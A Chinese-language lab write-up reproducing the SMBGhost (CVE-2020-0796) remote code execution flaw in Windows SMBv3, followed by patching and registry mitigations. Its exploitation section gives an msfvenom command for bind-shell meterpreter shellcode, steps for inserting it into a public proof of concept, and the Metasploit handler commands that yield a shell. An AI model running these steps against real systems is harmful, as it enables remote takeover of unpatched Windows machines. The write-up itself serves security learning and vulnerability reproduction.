CVE-2020-0796(永恒之黑)漏洞复现
漏洞描述:
SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
漏洞原理:
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
影响范围:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
参考文章:
https://www.cnblogs.com/xiaoxiaosen/p/13056272.html
getshell:
一、复现环境
-
靶机:windows10 1903 x64 ip:192.168.245.136(关闭防火墙)
-
攻击机:kali2019 ip:192.168.245.129
二、漏洞检测
-
在靶机里下载检测工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
-
运行工具,检测到漏洞风险
三、漏洞利用
POC下载:https://github.com/chompie1337/SMBGhost_RCE_PoC
-
在kali中生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python #-p windows/x64/meterpreter/bind_tcp 设置payload为windows64位meterpreter控制台下的正向连接 #LPORT=6666 设置开发端口为6666 #-b '\x00' 设置在生成的程序中避免出现'\x00' #-i 1 设置编码次数为一次 #-f python 设置生成python格式文件
-
用生成的shellcode将POC文件里exploit.py中的一部分替换掉,直接复制粘贴,将buf替换成USER_PAYLOAD保存(我这个图是之前失败的图,成功后忘记截了,就当作是设置的6666端口)
-
开启msf监听
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 6666 set rhost 192.168.245.136 run
-
将POC放入kali里,运行POC,getshell,倒数第二步时,点击回车就好了
python3 exploit.py -ip 192.168.245.136
-
返回监听界面,可以看到监听成功,getshell
漏洞加固:
-
更新补丁
-
微软给出了临时的应对办法:
运行regedit.exe,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。 -
将SMB445通信端口进行封禁
心得:
getshell的时候出了很多问题,比如说一蓝屏win10就更新修复漏洞,关闭自动更新,重装系统都试了试还是没法,只能靠快照恢复;一次出现了physical read primitive failed的情况,发现是漏洞修复的原因;有很多次运行POC后,win10蓝屏了但是并没有监听到,后来突然发现生成木马时设置的端口和之后监听的端口不一致,修改好了就可以了;然后还有说POC脚本不稳定要多试几次的问题。